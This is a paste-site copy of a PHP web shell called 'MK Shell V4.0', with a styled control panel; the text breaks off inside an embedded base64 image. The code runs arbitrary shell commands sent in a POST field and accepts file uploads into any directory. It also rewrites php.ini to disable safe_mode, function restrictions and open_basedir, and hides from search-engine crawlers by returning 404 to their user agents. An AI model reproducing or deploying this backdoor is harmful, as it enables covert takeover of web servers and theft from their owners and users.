SHOW:
|
|
- or go back to the newest paste.
1 | <? | |
2 | ////////// | |
3 | ///////// SHELL [MK] VERSION 4.0 | |
4 | //////// CREATED BY © MISTER KLIO | |
5 | /////// ____ ____ __ __ | |
6 | ////// ( ) ( ) ( ) / ) | |
7 | ///// ( \ \_/ / ) | |/ / | |
8 | //// ( )\ M /( ) | K ( | |
9 | /// ( ) \_ / ( ) | |\ \ | |
10 | // SH3LL (__) (__) (__) \__) V4.0 | |
11 | /* */// [ [email protected] ] - [ FACEBOOK @IzzAdiine ] | |
12 | echo "<title>[MK] V4 | CONTROLE UR SERVER ".$_SERVER['HTTP_HOST']."</title>"; | |
13 | ////////// REPORTING | |
14 | error_reporting(5); | |
15 | @ignore_user_abort(TRUE); | |
16 | @set_magic_quotes_runtime(0); | |
17 | ////////// SET TIME | |
18 | @set_time_limit(0); | |
19 | ///// HTTP_USER_AGENT | |
20 | if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
21 | $USERAGENTS = array("Twitter","Bing", "Yahoo", "Facebook", "Google", "MisterKlio","Yandex"); | |
22 | if(preg_match('/MK/' . implode('|', $USERAGENTS) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
23 | header('HTTP/1.0 404 NOT FOUND'); | |
24 | exit; } } | |
25 | ///// DIR | |
26 | $Mister = $_POST['Mister']; $pwd = $_POST['pwd']; $DIR = $_POST['DIR']; | |
27 | if ($DIR == ''){ $DIR = getcwd(); } | |
28 | ///// PHP.INI | |
29 | if ($Mister == 'ini'){ $fp = fopen("php.ini","w+"); | |
30 | fwrite($fp," | |
31 | safe_mode = Off | |
32 | Safe_mode_gid = Off | |
33 | disable_functions = None | |
34 | disable_classes = None | |
35 | safe_mode_gid = Off | |
36 | open_basedir = Off | |
37 | allow_url_fopen = On | |
38 | "); } | |
39 | //////// PERMISSIONS | |
40 | function getFilePermissions($FILE) | |
41 | { $perms = fileperms($FILE); | |
42 | if (($perms & 0xC000) == 0xC000) { | |
43 | //////// SOCKET | |
44 | $info = 's'; | |
45 | } elseif (($perms & 0xA000) == 0xA000) { | |
46 | //////// SYMBOLIC LINK | |
47 | $info = 'l'; | |
48 | } elseif (($perms & 0x8000) == 0x8000) { | |
49 | //////// REGULAR | |
50 | $info = '-'; | |
51 | } elseif (($perms & 0x6000) == 0x6000) { | |
52 | //////// BLOCK SPECIAL | |
53 | $info = 'b'; | |
54 | } elseif (($perms & 0x4000) == 0x4000) { | |
55 | //////// DIRECTORY | |
56 | $info = 'd'; | |
57 | } elseif (($perms & 0x2000) == 0x2000) { | |
58 | //////// CHARACTER SPECIAL | |
59 | $info = 'c'; | |
60 | } elseif (($perms & 0x1000) == 0x1000) { | |
61 | //////// FIFO PIPE | |
62 | $info = 'p'; | |
63 | } else { | |
64 | //////// UNKNOWN | |
65 | $info = "u"; } | |
66 | //////// OWNER | |
67 | $info .= (($perms & 0x0100) ? 'r' : '-'); | |
68 | $info .= (($perms & 0x0080) ? 'w' : '-'); | |
69 | $info .= (($perms & 0x0040) ? | |
70 | (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); | |
71 | //////// GROUP | |
72 | $info .= (($perms & 0x0020) ? 'r' : '-'); | |
73 | $info .= (($perms & 0x0010) ? 'w' : '-'); | |
74 | $info .= (($perms & 0x0008) ? | |
75 | (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); | |
76 | //////// WORLD | |
77 | $info .= (($perms & 0x0004) ? 'r' : '-'); | |
78 | $info .= (($perms & 0x0002) ? 'w' : '-'); | |
79 | $info .= (($perms & 0x0001) ? | |
80 | (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); | |
81 | ||
82 | return $info;} | |
83 | ||
84 | ///// UP | |
85 | if (!empty ($_FILES['MKUP'])){ | |
86 | MOVE_UPLOADED_FILE($_FILES['MKUP']['tmp_name'],$DIR.'/'.$_FILES['MKUP']['name']); | |
87 | $MK_TEXT = "<span style=' color:#0000F0;'><b>UPLOADED SUCCESSFULLY</b></span><br>FILE name : ".$_FILES['MKUP']['name']."<br>FILE SIZE : ".$_FILES['MKUP']['size']."<br>FILE TYPE : ".$_FILES['MKUP']['type']."<br>";} | |
88 | ///////// SECOND(S) | |
89 | $TIME = explode(' ', microtime()); | |
90 | $startime = $TIME[1] + $TIME[0]; | |
91 | function debuginfo() { | |
92 | global $startime; | |
93 | $TIME = explode(' ', microtime()); | |
94 | $TOTALTIME = number_format(($TIME[1] + $TIME[0] - $startime), 2); | |
95 | echo ''.$TOTALTIME.' SECOND(S)';} | |
96 | ///// COMMAND | |
97 | function EXMISTER_K() { | |
98 | $in=$_POST['COMMAND']; | |
99 | if (!$in == '') { | |
100 | $MKOUT = ''; | |
101 | if (function_exists('exec')) { | |
102 | @exec($in,$MKOUT); | |
103 | $MKOUT = @join("\n",$MKOUT); | |
104 | } elseif (function_exists('passthru')) { | |
105 | ob_start(); | |
106 | @passthru($in); | |
107 | $MKOUT = ob_get_clean(); | |
108 | } elseif (function_exists('system')) { | |
109 | ob_start(); | |
110 | @system($in); | |
111 | $MKOUT = ob_get_clean(); | |
112 | } elseif (function_exists('shell_exec')) { | |
113 | $MKOUT = shell_exec($in); | |
114 | } elseif (is_resource($f = @popen($in,"r"))) { | |
115 | $MKOUT = ""; | |
116 | while(!@feof($f)) | |
117 | $MKOUT .= fread($f,1024); | |
118 | pclose($f);} | |
119 | echo $MKOUT;}} | |
120 | function HIDMISTER_K () { | |
121 | //////// HOME | |
122 | echo "<!DOCTYPE html> | |
123 | <html><head><title>[MK] V3.2 | CONTROLE UR WEBSITE ".$_SERVER['HTTP_HOST']."</title> | |
124 | <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'>"; | |
125 | $CHARSET1 = "<meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'>"; | |
126 | echo ''. $CHARSET1.''; | |
127 | ?> | |
128 | <link href='http://fonts.googleapis.com/css?family=Aldrich' rel='stylesheet' type='text/css'/> | |
129 | ||
130 | <style media='screen' rel='stylesheet' type='text/css'> | |
131 | ||
132 | body,html {font-family :Aldrich;} | |
133 | body{ | |
134 | background-color:#404040; | |
135 | padding:1px 1px;font-family: 'Aldrich', Tahoma, sans-serif; | |
136 | color:#0000F0; | |
137 | font-size:10px; | |
138 | font-weight: normal; | |
139 | font-style: normal;border-radius:2px;} | |
140 | ||
141 | a {text-decoration:none;font-size:10px;font-family: 'Aldrich', Tahoma, sans-serif;color:#FFFFFF;} | |
142 | a:hover {text-decoration:none;color:#000000;} | |
143 | span ,font,b , button{font-size:10px;font-family: 'Aldrich', Tahoma, sans-serif;} | |
144 | ||
145 | li ,ul{font-size:10px;font-family: 'Aldrich', Tahoma, sans-serif;margin:0;padding:0;}ul.Mister-hmenu li {display: block;float: left; padding:0 2px;} | |
146 | ||
147 | .activehome{ | |
148 | -webkit-box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2), 0 0 6px rgba(0, 0, 0, 0.4); | |
149 | box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2), 0 0 6px rgba(0, 0, 0, 0.4); | |
150 | background: #0000F0; | |
151 | padding:0 20px;border-radius:2px; | |
152 | color:#FFFFFFF; | |
153 | } | |
154 | ||
155 | ||
156 | ul.Mister-hmenu li a { | |
157 | border-radius:2px; | |
158 | -webkit-box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2), 0 0 6px rgba(0, 0, 0, 0.4); | |
159 | box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2), 0 0 6px rgba(0, 0, 0, 0.4); | |
160 | background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838)); | |
161 | background:-webkit-linear-gradient(top, #505050, #383838); | |
162 | background:linear-gradient(to bottom, #505050, #383838); | |
163 | background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat; | |
164 | padding:0 15px;margin:0 auto;position:relative;display:block;height:25px; | |
165 | cursor:pointer;color:#FFFFFF;line-height:24px;text-align: center;} | |
166 | ||
167 | ul.Mister-hmenu>li>a:hover { | |
168 | color:#ffffff; | |
169 | background: #0000F0; | |
170 | } | |
171 | ||
172 | .Mister-button{ | |
173 | border-top: 2px solid #0000F0; | |
174 | font-size:10px; | |
175 | font-family: 'Aldrich', Tahoma, sans-serif;text-align: center; | |
176 | color: #FFFFFF; | |
177 | height:19px; | |
178 | border:2px solid rgba(0,0,0, 0.2); | |
179 | background: #0078FF; | |
180 | color: white; | |
181 | text-align: center; | |
182 | text-decoration: none; | |
183 | margin:0 auto; | |
184 | border:1px solid #4D4D4D; | |
185 | text-decoration:none; | |
186 | border-radius:2px; | |
187 | border-bottom:3px solid #0000F0;} | |
188 | input.Mister-button ,button.Mister-button{ | |
189 | background: #0078FF; | |
190 | } | |
191 | .Mister-button.active:hover {border-bottom:2px solid #000000;color: #FFFFFF !important;} | |
192 | ||
193 | .Mister-button.hover, .Mister-button:hover{ | |
194 | border-bottom:2px solid #000000; | |
195 | background: -webkit-linear-gradient(top, #FFFFFF 0, #BFBFBF 100%) no-repeat; | |
196 | } | |
197 | .Mister-button.hover, .Mister-button:hover {color: #FFFFFF !important;} | |
198 | input[type='text'], input[type='password'], input[type='email'], input[type='url'], input[type='text'], input[type='password'], input[type='email'], input[type='url'], textarea { | |
199 | font-size:11px; | |
200 | border:1px solid #4D4D4D;width:100%; | |
201 | padding:3px; | |
202 | color:#0078FF; | |
203 | background: #383838; | |
204 | border :0px; | |
205 | border-radius:2px; | |
206 | -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px rgba(255, 255, 255, 0.5); | |
207 | box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px rgba(255, 255, 255, 0.5); | |
208 | font-family: 'Aldrich', Tahoma, sans-serif; | |
209 | } | |
210 | ||
211 | table ,area {border-radius:2px;outline:none;transition: all 0.20s ease-in-out; -webkit-transition: all 0.25s ease-in-out; -moz-transition: all 0.25s ease-in-out; -webkit- -moz- border:1px solid rgba(0,0,0, 0.2); font-family: 'Aldrich', Tahoma, sans-serif;} | |
212 | ||
213 | select ,option {font-size:10px;font-family: 'Aldrich', Tahoma, sans-serif; | |
214 | color:#000000; | |
215 | background: -webkit-linear-gradient(top, #FFFFFF 0, #BFBFBF 100%) no-repeat; | |
216 | margin:0 auto;height:18px;border-radius:2px; | |
217 | -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5);} | |
218 | textarea { | |
219 | border-radius:2px; | |
220 | height:200px; -webkit-color:#0000F0;background:-webkit-linear-gradient(top, #000000 0, #404040 100%) no-repeat; font-family: 'Aldrich', Tahoma, sans-serif; font-size:10px;} | |
221 | ||
222 | th{border-radius:2px; | |
223 | height:20px; | |
224 | background: #000000;} | |
225 | tr:hover{ | |
226 | background:#0000F0;border-radius:2px; | |
227 | } | |
228 | td,th{border-radius:2px;border-bottom:1px solid #000000;font-size:10px; font-family: 'Aldrich', Tahoma, sans-serif;margin:0;vertical-align:top;color:#e1e1e1; }h1{ border-left:5px solid #0000F0;padding: 2px 5px;font-size:10px;background-color:#222;margin:0px; }div.content{font-size:10px; padding: 4px;margin-left:5px;background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;margin:0 auto;}.Mister-headline { display:inline-block; position:absolute; min-width:50px;top:12px;left:5.10%;font-size:18px;font-family: 'Aldrich', Tahoma, sans-serif;color:#0000F0;}.Mister-slogan {font-size:10px;display: inline-block; position: absolute; top: 35px; left: 5.89%;margin-left: -9px; font-family: 'Aldrich', Tahoma, sans-serif;color: white ;} | |
229 | ||
230 | .Mister-header{border-bottom:2px solid #444444; | |
231 | border-top:3px solid #0000F0; | |
232 | margin:0 auto; | |
233 | background-repeat:no-repeat; | |
234 | height:60px; | |
235 | background-image:url(data:image/png;base64,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